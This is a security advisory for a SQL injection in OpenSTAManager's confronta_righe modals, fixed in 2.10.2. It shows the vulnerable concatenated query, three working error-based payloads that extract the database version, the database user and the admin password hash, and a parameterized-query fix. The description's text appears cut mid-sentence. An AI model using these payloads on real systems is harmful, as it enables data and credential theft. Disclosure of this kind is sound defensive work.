GHSA-mmm5-3g4x-qw39 OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals

• Packagist devcode-it/openstamanager: < 2.10.2 → fixed in 2.10.2

Description Six `confronta_righe.php` files across different modules in OpenSTAManager fetchArray( 'SELECT `mg_articoli_lang`.`title`, `mg_articoli`.`codice`, `in_righe_interventi`.* FROM `in_righe_interventi` INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo` LEFT JOIN `mg_articoli_lang` ON (...) WHERE `in_righe_interventi`.`id` IN ('.$righe.')' // Line 41 — Direct concatenation ); ``` The value of `$_GET['righe']` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function. Reproduction Prerequisites • Authenticated session (any user with module access) • At least one existing record in the target module (e.g. an intervention with id=1) Step 1: Extract MySQL version ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23 ``` Result: `XPATH syntax error: '~8.3.0'` Step 2: Extract database user ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23 ``` Result: `XPATH syntax error: '[email protected]'` Step 3: Extract admin credentials ``` GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23 ``` Result: `XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'` Evidence HTTP Request ```http GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1 Host: Cookie: PHPSESSID= ``` Response (excerpt) ``` SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr' ``` Impact • Confidentiality (High): Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information • Integrity (High): Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries • Availability (High): Deletion of tables or critical data, database corruption Remediation Recommended Fix Use parameterized statements with `prepare()` for the `righe` parameter: ```php // BEFORE (vulnerable): $righe = $_GET['righe']; $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')' ); // AFTER (secure): $righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? '')); $placeholders = implode(',', array_fill(0, count($righe_ids), '?')); $righe = $dbo->fetchArray( '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')', $righe_ids ); ``` This fix must be applied to all 6 files listed in the "Affected Files" section. Credits Omar Ramirez